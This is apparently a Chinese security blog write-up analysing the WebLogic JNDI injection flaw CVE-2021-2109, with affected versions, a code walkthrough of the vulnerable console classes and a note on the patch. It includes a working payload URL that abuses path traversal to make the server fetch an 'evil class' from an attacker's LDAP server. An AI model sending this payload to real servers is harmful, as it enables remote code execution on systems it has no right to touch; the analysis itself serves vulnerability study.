0x01 前言
學習一下 WebLogic JNDI 注入 RCE(CVE-2021-2109)
0x02 環境搭建
和之前 WebLogic 的環境搭建是一致的,本文不再贅述。
不過值得一提的是,我的 weblogic 版本是 10.3.6;需要手動添加 \server\lib\consoleapp\webapp\WEB-INF\lib\console.jar 到依賴里面
0x03 漏洞分析與復現
漏洞影響版本與前提條件
Oracle WebLogic Server 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0。
擁有訪問 /console/consolejndi.portal 頁面的用戶權限,或者存在 CVE-2020-14883 未授權訪問漏洞。關于未授權的漏洞我會放到 WebLogic 的另外一篇文章中再做分析
漏洞原理
WebLogic 的 /console/consolejndi.portal 接口可以調用存在 JNDI 注入漏洞的 com.bea.console.handles.JndiBindingHandle 類,從而造成 RCE。
漏洞復現
- ? payload 如下
http://127.0.0.1:7001/console/css/%252e%252e%252fconsolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://127.0.0;1:1389/aew0xy;AdminServer%22)
我本地開啟了一個 JNDI 的 Evil Class 和 Server

用 payload 打成功

漏洞分析
根據 payload 分析,先從 consolejndi.portal 開始看起,.portal 文件就類似于一個 servlet,在 consolejndi.portal 中存在 JNDI Binding 操作的處理容器,如圖

具體的處理邏輯在 /PortalConfig/jndi/jndibinding.portlet

去到 com.bea.console.actions.jndi.JNDIBindingActioncom.bea.console.actions.jndi.JNDIBindingAction 類中,發現存在一個 execute() 方法,疑似存在 jndi 注入的漏洞。

觀察需要如何構造惡意 payload,c 是由 ConsoleUtils.initNamingContext(serverMBean); 得來,而 serverMBean 是通過 domainMBean.lookupServer(serverName); 得來,其中一系列關系我將會由下圖說明

接著我們自上而下順序看代碼,先是強轉了一個 JndiBindingHandle 類,這里面 getHandleContext() 的邏輯并不復雜,最終會調用 JndiBindingHandle 的構造函數。

如圖,我們在 payload 當中的這一段被放進了構造函的 type 與 objectIdentifier 中,而 "ldapxxxx" 這一段會被放在 components 中,由分號分隔
JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle("ldap://127.0.0;1:1389/aew0xy;AdminServer")
繼續往下看,我們想要進入 JNDI 注入的那一段代碼,需要滿足兩個條件,一個是 serverMBean != null,另一個是 c != null,我們進到 serverMBean 看一下代碼邏輯
- ?
lookupServer是DommainMBean接口的方法,我們去看它的實現類


實際上這里是動態代理調用的,會自動跟進到 weblogic.management.jmx.MBeanServerInvocationHandler#invoke 下,其中 method 的值為 weblogic.management.configuration.DomainMBean#lookupServer,它的 method 代碼邏輯在實現類當中,也就是 weblogic.management.configuration.DomainMBeanImpl#lookupServer

我們需要走到 do while 的邏輯里面,返回 var3,而不是返回 null

通過調試得到 var2 的值為 AdminServer,這里沒有其他的值了,原因如圖


所以此處要求我們輸入的 var1 與 AdminServer 相同,回過頭去看 var1 是什么呢,var1 其實是 serverName

發現 serverName 也是可控的

現在 serverBean != null 沒問題,就要看 jndi lookup 的地址是否可控。很明顯,jndi lookup 的地址也是可控的

我們進到 JndiBindingHandle 類去看一下 set/getComponents() 的邏輯,先調用了 HandleImpl#getComponent

跟進

主要邏輯就是在講,以 ; 分隔,如此一來,我們就可控 context 與 binding,可以進行 jndi 注入
最后捋一下整體條件
1、;號隔開 jndi 地址 2、serverName 必須為 AdminServer
0x04 漏洞修復
根據 Y4er 師傅這里的說法是,對 Jndi 的黑名單進行了判斷,如圖

0x05 小結
不算難的一個漏洞,只是環境搭建當時踩了很多坑,歡迎師傅們與我交流踩坑問題,我會竭力幫助。
合天網安實驗室
LemonSec
HACK學習呀
LemonSec
安全圈
安全圈
安全圈
安全圈
看雪學苑
HACK學習呀
安全圈
一顆小胡椒
Hacking就是好玩